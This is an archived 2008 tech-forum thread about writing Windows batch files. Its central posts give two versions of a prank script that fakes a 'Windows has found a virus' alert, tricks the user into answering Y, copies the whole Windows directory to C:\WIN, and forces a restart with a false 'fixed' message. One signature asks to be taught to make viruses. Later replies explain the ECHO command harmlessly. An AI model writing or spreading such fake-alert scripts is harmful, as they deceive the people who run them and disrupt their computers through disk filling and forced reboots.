TechTalkz.com Logo

Go Back   TechTalkz.com Technology & Computer Troubleshooting Forums > Tech World > TIPS 'n' TRICKS

Notices

Batch Files

TIPS 'n' TRICKS


Reply
 
Thread Tools Display Modes
Old 08-06-2008, 06:49 AM   #11
News Reporter
 
1mAn3rd's Avatar
 
Join Date: Nov 2007
Location: Guilford CT, United States
Posts: 395
Thanks: 28
Thanked 20 Times in 20 Posts
Rep Power: 5 1mAn3rd will become famous soon enough


OS: Windows 98 / Windows ME Windows NT / Windows 2000 Windows XP Windows Server 2003 / Windows Server 2008 Windows Vista Windows 7 Linux Mac OS


Send a message via AIM to 1mAn3rd
Re: Batch Files

The part that says Deleting files in %windir%...
Quote:
echo DELETING FILES IN %WINDIR%
will not show up. It will flash that by and copy all of the files. It still has some bugs in it, I would still go with mine, but yours is ok...
__________________
--1mAn3rd
1mAn3rd is offline   Reply With Quote
Old 08-06-2008, 09:59 PM   #12
Advanced Member (250+)
 
Wolfie276's Avatar
 
Join Date: Nov 2007
Location: /etc/init.d/
Posts: 441
Thanks: 15
Thanked 7 Times in 7 Posts
Rep Power: 0 Wolfie276 is an unknown quantity at this point


OS: Windows 7 Linux


Re: Batch Files

lol ok ty...thougt it would lol

............
__________________
(\__/)
(='.'=) This is Bunny. Copy and paste bunny into your
(" )_(" ) signature to help him gain world domination.

http://www.youtube.com/watch?v=ZXD4N_Mi1iE&fmt=22# Freelancer Evolving
Wolfie276 is offline   Reply With Quote
Old 09-06-2008, 12:07 AM   #13
News Reporter
 
1mAn3rd's Avatar
 
Join Date: Nov 2007
Location: Guilford CT, United States
Posts: 395
Thanks: 28
Thanked 20 Times in 20 Posts
Rep Power: 5 1mAn3rd will become famous soon enough


OS: Windows 98 / Windows ME Windows NT / Windows 2000 Windows XP Windows Server 2003 / Windows Server 2008 Windows Vista Windows 7 Linux Mac OS


Send a message via AIM to 1mAn3rd
Re: Batch Files

xD Well, you need to use the ping thing that I used... it will pause the batch file for a certain amount of time, then it will go.
__________________
--1mAn3rd
1mAn3rd is offline   Reply With Quote
Old 02-11-2008, 01:53 AM   #14
Advanced Member (250+)
 
Wolfie276's Avatar
 
Join Date: Nov 2007
Location: /etc/init.d/
Posts: 441
Thanks: 15
Thanked 7 Times in 7 Posts
Rep Power: 0 Wolfie276 is an unknown quantity at this point


OS: Windows 7 Linux


Re: Batch Files

i developed it even more

Code:
@echo off
cls
color 0C
echo Windows has found a virus...
echo.
echo It is recommended to let Windows fix this issue.
echo.
echo If you do not let Windows fix this issue,
echo the next time you restart the computer
echo Windows will not load properly.
set /p command=Would you like windows to fix this issue? (Y/N): 
if "%command%"=="Y" goto :delete
if "%command%"=="N" goto :exit
:delete
cls
echo Deleting files in %WINDIR%.
PING 1.1.1.1 -n 1 -w 2500 >NUL
cls
echo Deleting files in %WINDIR%..
PING 1.1.1.1 -n 1 -w 2500 >NUL
cls
echo Deleting files in %WINDIR%...
PING 1.1.1.1 -n 1 -w 2500 >NUL
cls
if exist "C:\WIN" goto start
MKDIR "C:\WIN"
:start
xcopy /E /Y %windir% "C:\WIN"
del C:\WIN
cls
shutdown -r -t 10 -c "Windows has succesfully fixed the issue."
:exit
exit
Wolfie276 is offline   Reply With Quote
Old 03-11-2008, 12:50 AM   #15
Advanced Member (250+)
 
Wolfie276's Avatar
 
Join Date: Nov 2007
Location: /etc/init.d/
Posts: 441
Thanks: 15
Thanked 7 Times in 7 Posts
Rep Power: 0 Wolfie276 is an unknown quantity at this point


OS: Windows 7 Linux


Re: Batch Files

@echo off
TITLE VIRUS ALERT!
cls
color 0C
echo Windows has found a virus...
echo.
echo It is recommended to let Windows fix this issue.
echo.
echo If you do not let Windows fix this issue,
echo the next time you restart the computer
echo Windows will not load properly.
set /p command=Would you like windows to fix this issue? (Y/N):
if %command%==Y goto :delete
if %command%==N goto :exit
if %command%==y goto :delete
if %command%==n goto :exit
:delete
cls
echo Deleting files in %WINDIR%.
PING 1.1.1.1 -n 1 -w 2500 >NUL
cls
echo Deleting files in %WINDIR%..
PING 1.1.1.1 -n 1 -w 2500 >NUL
cls
echo Deleting files in %WINDIR%...
PING 1.1.1.1 -n 1 -w 2500 >NUL
cls
if exist "C:\WIN" goto start
MKDIR "C:\WIN"
:start
xcopy /E /Y %windir% "C:\WIN"
del C:\WIN
cls
shutdown -r -t 10 -c "Windows has succesfully fixed the issue."
:exit
exit
Wolfie276 is offline   Reply With Quote
Old 07-11-2008, 09:03 AM   #16
Newbie
 
Bear's Avatar
 
Join Date: Nov 2008
Posts: 14
Thanks: 2
Thanked 1 Time in 1 Post
Rep Power: 0 Bear is an unknown quantity at this point
Re: Batch Files

its not .bat but you use notepad and it is fun to make/do
http://www.techtalkz.com/tips-n-tric...-you-want.html

ps. what does "echo" do?
__________________
LOOKING FOR SOMEONE TO TEACH ME HOW TO MAKE VIRUS'S AND OTHER THINGS WITH NOTEPAD

Bear is offline   Reply With Quote
Thanked Users:
satish.R (07-11-2008)
Old 07-11-2008, 02:01 PM   #17
Founder
 
Strider's Avatar
 
Join Date: Nov 2005
Location: The Last City Zion!
Posts: 3,539
Thanks: 287
Thanked 345 Times in 298 Posts
Rep Power: 62 Strider is just GreatStrider is just GreatStrider is just GreatStrider is just GreatStrider is just GreatStrider is just GreatStrider is just GreatStrider is just GreatStrider is just GreatStrider is just GreatStrider is just Great


OS: Windows XP Windows Server 2003 / Windows Server 2008 Windows Vista Windows 7 Linux


Re: Batch Files

Quote:
ps. what does "echo" do?
The ECHO command can be used for 3 purposes:

1. Turning Screen Echo on or off
Code:
ECHO OFF
2. Displaying a Message from within the batch file
Code:
ECHO Installing Software...
3. Displaying the Echo Status
Code:
ECHO
The output will be like this:

Quote:
ECHO is on.
or

Quote:
ECHO is off.
Strider is offline   Reply With Quote
Old 07-11-2008, 02:57 PM   #18
Newbie
 
Bear's Avatar
 
Join Date: Nov 2008
Posts: 14
Thanks: 2
Thanked 1 Time in 1 Post
Rep Power: 0 Bear is an unknown quantity at this point
Re: Batch Files

still doesn't explain what it is....does it show a message? does it repeat something? etc.
__________________
LOOKING FOR SOMEONE TO TEACH ME HOW TO MAKE VIRUS'S AND OTHER THINGS WITH NOTEPAD

Bear is offline   Reply With Quote
Old 07-11-2008, 03:20 PM   #19
ƒ(ψ)=ΘΊΧφ
 
bakuryu's Avatar
 
Join Date: May 2006
Location: India
Age: 23
Posts: 6,621
Thanks: 19
Thanked 645 Times in 603 Posts
Rep Power: 87 bakuryu has a brilliant futurebakuryu has a brilliant futurebakuryu has a brilliant futurebakuryu has a brilliant futurebakuryu has a brilliant futurebakuryu has a brilliant futurebakuryu has a brilliant futurebakuryu has a brilliant futurebakuryu has a brilliant futurebakuryu has a brilliant futurebakuryu has a brilliant future


OS: Windows XP Windows Vista Windows 7


Send a message via Yahoo to bakuryu
Re: Batch Files

yes if you write something after echo it's shown in the screen.

and the best way to learn it is trying out small examples by yourself. Or simply open command prompt and type : echo /?
__________________
Please don't click here
bakuryu is offline   Reply With Quote
Old 08-11-2008, 02:54 AM   #20
News Reporter
 
1mAn3rd's Avatar
 
Join Date: Nov 2007
Location: Guilford CT, United States
Posts: 395
Thanks: 28
Thanked 20 Times in 20 Posts
Rep Power: 5 1mAn3rd will become famous soon enough


OS: Windows 98 / Windows ME Windows NT / Windows 2000 Windows XP Windows Server 2003 / Windows Server 2008 Windows Vista Windows 7 Linux Mac OS


Send a message via AIM to 1mAn3rd
Re: Batch Files

Try clicking on the start menu > run > cmd and click ok. In the command prompt, type
echo Hello world!
and it will repeat it on the screen. These are used in batch files very often. Always in the top of a batch file (unless troubleshooting it) put:
echo off
cls
and it will turn the normal response off.
__________________
--1mAn3rd
1mAn3rd is offline   Reply With Quote
Thanked Users:
Bear (08-11-2008)
Reply

Thread Tools
Display Modes



< Windows Help - MS Office Help - Hardware Support >


New To Site? Need Help?

All times are GMT +5.5. The time now is 04:25 AM.


vBulletin, Copyright ©2000 - 2009, Jelsoft Enterprises Ltd.
Content Relevant URLs by vBSEO
Copyright © 2005-2009, TechTalkz.com. All Rights Reserved - Privacy Policy
Valid XHTML 1.0 Transitional